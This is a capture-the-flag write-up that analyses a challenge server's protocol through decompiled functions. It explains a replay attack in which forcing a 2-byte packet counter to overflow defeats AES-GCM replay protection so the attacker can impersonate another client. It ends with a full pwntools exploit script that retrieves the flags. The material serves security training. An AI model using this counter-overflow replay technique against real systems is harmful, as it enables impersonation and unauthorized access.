Status 4 - Checking clients health
After establishing successfully the communication channels in the first part of the challenge, the server gets forward to status 4: checking clients health.
__int64 __fastcall get_health(__int64 a1, int a2)
{
unsigned int v3; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
void *ptr[2]; // [rsp+20h] [rbp-10h] BYREF
ptr[1] = (void *)__readfsqword(0x28u);
v3 = 4;
ptr[0] = 0LL;
if ( a1 )
{
for ( i = 0; i < a2 && *(_BYTE *)(41LL * i + a1) != 0xFF; ++i )
{
if ( (unsigned __int8)send_pullpull(41LL * i + a1) != 1 )
goto LABEL_12;
alarm(0xAu);
if ( (unsigned __int8)recv_encrypted_ack(a1 + 41LL * i, ptr) != 1 || *((_BYTE *)ptr[0] + 6) != 1 )
goto LABEL_12;
if ( ptr[0] )
{
free(ptr[0]);
ptr[0] = 0LL;
}
alarm(0);
}
v3 = 5;
}
LABEL_12:
alarm(0);
if ( ptr[0] )
{
free(ptr[0]);
ptr[0] = 0LL;
}
return v3;
}
During this phase, for each registered client, the server sends the
encrypted message “PULLPULL” (function send_pullpull
) and waits up
to 10 seconds for the client to send back an encrypted ACK (namely, an
encrypted message containing the byte “01”). After checking each
client’s health, the server resumes to status 5.
What prevents us from answering to client 5 health check is that we do not know the AES key for client 5. Indeed, we cannot respond to the server with valid encrypted messages. We can check for classical crypto vulnerabilities, such as a nonce reuse, but this direction do not leads anywhere here. However, the description states “Your goal is to impersonate this client by sending their information to the server.” This clearly suggests us to set up a replay attack with the intercepted packets.
When the server receives a packet, it checks that the value of the
packet counter in the packet is greater than the current server-side
counter value. Since the packet counter of the client 5 is equal to
0x40 according to keys.db
, we cannot simply send back the logged
packets from records.txt
, because their packet counter is
lower. This should in theory prevent replay attacks.
if ( *(_WORD *)(key + 3) < *((_WORD *)packet + 1) )
{
*(_WORD *)(key + 3) = *((_WORD *)packet + 1);
[...]
}
However, there is no upper bound on the counter received from the client, and the counter is updated to the value sent by the client. For example, if the current server-side counter is 42,
- If the client sends a packet with counter value 41, the reception fails
- If the client sends a packet with counter value 43, the reception succeeds and the new counter value is 43
- If the client sends a packet with counter value 666, the reception succeeds and the new counter value is 666
Moreover, when the server sends a message, it simply increments the current counter value (which is stored on 2 bytes). The server never performs any checks for integer overflow. Thus, if we send a packet with counter value FFFF, the next counter value from the server will be 0000! As a result, we will be able to replay intercepted packets since their counter value are obviously greater than 0. Thus, we can bypass authentication from AES-GCM and impersonate client 5.
Last but not least, if the decryption of the received ACK fails
(recv_encrypted_ack
returns a value not equal to 1), the server do
not stop, but instead the status remains equal to 4 and the phase
“Getting health clients” is executed again. As a result, we can reply
with invalid messages, the server will keep sending us “PULLPULL”
messages.
The attack scenario will then be the following:
- We receive a PULLPULL message from the server, we ignore it
- We send an ACK with a dummy nonce/tag and with counter value FFFF. The decryption will fail, but the server will continue sending packets…
- The server sends a PULLPULL message with a counter equal to 0000
- We send back the first intercepted packet:
05000C036C4D63FC7F5FE25094D84F86157D7F1783EEAD297538B97C9F1C31BC0194
. We managed to impersonate client 5.
Finally, we must not forget to answer the health check as client 6 too, since the server iterates on all the clients. This is not a problem since we know the AES key for client 6.
Status 5 - Getting clients info
__int64 __fastcall get_info(__int64 a1, int a2)
{
unsigned int v3; // [rsp+18h] [rbp-28h]
int i; // [rsp+1Ch] [rbp-24h]
void *ptr; // [rsp+20h] [rbp-20h] BYREF
void *v6; // [rsp+28h] [rbp-18h] BYREF
__int64 v7; // [rsp+30h] [rbp-10h]
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u);
v3 = 4;
ptr = 0LL;
v6 = 0LL;
v7 = 0LL;
for ( i = 0; i < a2 && *(_BYTE *)(41LL * i + a1) != 0xFF; ++i )
{
if ( *(_BYTE *)(41LL * i + a1) == 6 )
v7 = 41LL * i + a1;
if ( (unsigned __int8)send_0xface(41LL * i + a1, 0xFACE, 16) != 1
|| (unsigned __int8)recv_encrypted_ack(a1 + 41LL * i, &ptr) != 1
|| *((_BYTE *)ptr + 6) != 1 )
{
goto LABEL_27;
}
if ( ptr )
{
free(ptr);
ptr = 0LL;
}
if ( (unsigned __int8)recv_even(a1 + 41LL * i, &ptr) != 1
|| (unsigned __int8)send_encrypted_ack(41LL * i + a1, 1LL) != 1 )
{
goto LABEL_27;
}
if ( (unsigned __int8)check_even((unsigned __int8 *)ptr + 5) != 1 )
{
v3 = 6;
goto LABEL_27;
}
if ( ptr )
{
free(ptr);
ptr = 0LL;
}
if ( v6 )
{
free(v6);
v6 = 0LL;
}
}
if ( (unsigned __int8)read_flag2(&v6) == 1
&& (unsigned __int8)send_flag(v7, (unsigned __int8 *)v6) == 1
&& (unsigned __int8)recv_encrypted_ack(v7, &ptr) == 1
&& *((_BYTE *)ptr + 6) == 1 )
{
if ( ptr )
{
free(ptr);
ptr = 0LL;
}
v3 = 0;
}
LABEL_27:
[...]
return v3;
}
In this last phase, for each registered client:
- The server sends the (encrypted) bytes
\xce\xfa\x10
, the client answers with an encrypted ACK (functionssend_0xface
andrecv_encrypted_ack
) - The client sends back an encrypted message such that the plaintext
only contains even bytes (why not?). If decryption succeeds and the
client message indeed contains only even bytes (functions
recv_even
andsend_encrypted_ack
), the server replies with an encrypted ACK. Otherwise, it gets to status 6, which just prints the messages “Event raised: system under attacks” and “Action: active protection measures activated ‘pew pew pew’” :-) - Finally, the server sends the second flag to the client
The attack can be continued straightforwardly since we have
successfully tampered with the packet counter: in records.txt
, we
have all the packets exchanged with client 5 up to the moment the
second flag was sent.
But… the flag will be sent encrypted with AES key for client 5… how do I do…
It is not a problem: after successfully getting info for client 5, the server will get info for client 6. We can send back encrypted ACKs and even bytes without any difficulty since we know the AES key for client 6. And finally, the flag will be sent encrypted with the key for client 6. It’s a win!
Full script
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# this exploit was generated via
# 1) pwntools
# 2) ctfmate
import os
import time
import pwn
import binascii
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import hashlib
from Crypto.Cipher import AES
BINARY = "server"
LIBC = "/usr/lib/libc.so.6"
LD = "/lib64/ld-linux-x86-64.so.2"
# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = ["tmux", "splitw", "-h", "-l", "110"]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8 = pwn.p8
u8 = pwn.u8
host = 'challenges.france-cybersecurity-challenge.fr'
port = 2251
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if pwn.args.GDB:
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return pwn.process([exe.path] + argv, *a, **kw, stderr=1)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = pwn.connect(host, port)
if pwn.args.GDB:
pwn.gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if pwn.args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
gdbscript = '''
init-pwndbg
brva 0x5010
continue
'''.format(**locals())
def recv_ack(io):
io.recvuntil(b'\n')
def send_ack(io, cli, c):
packet = int.to_bytes(cli, 1, 'big').hex().upper().encode('utf-8')
packet += int.to_bytes(c, 2, 'big').hex().upper().encode('utf-8')
packet += b'020101'
io.sendlineafter(b'RECV:\n', packet)
def recv_msg(io, aes_key, c):
io.recvuntil(b'SEND: ')
x = io.recv(8)
msg_server = bytes.fromhex(io.recvuntil(b'\n')[:-1].decode('utf-8'))
nonce = msg_server[:12]
tag = msg_server[12:28]
cipher = msg_server[29:]
pwn.debug("[+] Nonce: %s" % nonce.hex())
pwn.debug("[+] Tag: %s" % tag.hex())
pwn.debug("[+] Cipher: %s" % cipher.hex())
data = cipher + tag
aesgcm = AESGCM(aes_key)
m = aesgcm.decrypt(nonce, data, p16(c))
pwn.success("Client 6 received server message: %s" % m)
return m
def send_msg(io, cli, typ, aes_key, data, c):
nonce = os.urandom(12)
aesgcm = AESGCM(aes_key)
cipher = aesgcm.encrypt(nonce, data, p16(c))
packet = int.to_bytes(cli, 1, 'big').hex().upper().encode('utf-8')
packet += int.to_bytes(c, 2, 'big').hex().upper().encode('utf-8')
packet += hex(typ)[2:].zfill(2).encode('utf-8')
packet += nonce.hex().upper().encode('utf-8')
packet += cipher[-16:].hex().upper().encode('utf-8')
packet += int.to_bytes(len(data), 1, 'big').hex().upper().encode('utf-8')
packet += cipher[:-16].hex().upper().encode('utf-8')
io.sendlineafter(b'RECV:\n', packet)
return
def recv_encrypted_msg(io):
io.recvuntil(b'SEND: ')
msg_server = bytes.fromhex(io.recvuntil(b'\n')[:-1].decode('utf-8'))
nonce = msg_server[:12]
tag = msg_server[12:28]
cipher = msg_server[29:]
pwn.debug("[+] Nonce: %s" % nonce.hex())
pwn.debug("[+] Tag: %s" % tag.hex())
pwn.debug("[+] Cipher: %s" % cipher.hex())
return (nonce, tag, cipher)
def send_encrypted_ack(io, cli, aes_key, c):
send_msg(io, cli, 3, aes_key, b'\x01', c)
def exp():
io = start()
# Get raw public key from server
io.recvuntil(b'SEND: ')
io.recv(10)
raw_pub_server = bytes.fromhex(io.recvuntil(b'\n')[:-1].decode('utf-8'))
pwn.debug("Server public key: %s" % raw_pub_server.hex())
# Convert it to an ec public key object
x_server = int.from_bytes(raw_pub_server[1:33], 'big')
y_server = int.from_bytes(raw_pub_server[33:65], 'big')
vals = ec.EllipticCurvePublicNumbers(x_server, y_server, ec.SECP256R1())
pub_server = vals.public_key()
# Generate a client private/public key pair
id_client = ec.generate_private_key(ec.SECP256R1())
x = id_client.public_key().public_numbers().x
y = id_client.public_key().public_numbers().y
pub_client = '04' + hex(x)[2:].rjust(64, '0') + hex(y)[2:].rjust(64, '0')
# Send it back to the server and derive locally the AES key
send_ack(io, 6, 2)
io.sendlineafter(b'RECV:\n', b'0600030441' + pub_client.upper().encode('utf-8')
)
shared_key = id_client.exchange(ec.ECDH(), pub_server)
aes_key = hashlib.sha1(shared_key).digest()[:16]
pwn.success("Derived AES key: %s" % aes_key.hex())
# Receive 'HELOHELO' and send back a dummy encrypted message
recv_ack(io)
recv_msg(io, aes_key, 5) # HELOEHLO
send_ack(io, 6, 6)
send_msg(io, 6, 9, aes_key, b'spikeroot', 7)
# Receive the flag!
recv_ack(io)
recv_msg(io, aes_key, 9) # flag 1
send_encrypted_ack(io, 6, aes_key, 10)
# Send dummy packet to trigger integer overflow on the packet counter
recv_encrypted_msg(io) # PULLPULL (encrypted)
io.sendlineafter(b'RECV:\n', b'05FFFF03' + b'00'*28 + b'0100')
# Replay response from records.txt
recv_encrypted_msg(io) # PULLPULL (encrypted)
io.sendlineafter(b'RECV:\n', b'05000C036C4D63FC7F5FE25094D84F86157D7F1783EEAD297538B97C9F1C31BC0194')
# Answer the health check for client 6
recv_msg(io, aes_key, 11) # PULLPULL
send_encrypted_ack(io, 6, aes_key, 12)
# Replay responses from records.txt
io.sendlineafter(b'RECV:\n', b'05000E03D5263BBB06616AF317B444049C2EAFA93DF4B11358A9D9E9A8612BBB01E4')
io.sendlineafter(b'RECV:\n', b'05000F81EA7140C5616837D0698F733A801FC4CB08180703E17AE332FB4997F4105FEA343BCB979948100C387DF2A1A070')
io.recvuntil(b'\n') # Encrypted flag for client 5
# Send back correct information for client 6
recv_msg(io, aes_key, 13)
send_encrypted_ack(io, 6, aes_key, 14)
send_msg(io, 6, 0x81, aes_key, b'\x20', 15)
# Receive the flag! (again)
recv_ack(io)
recv_msg(io, aes_key, 17) # flag 2
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io.close()
if __name__ == "__main__":
exp()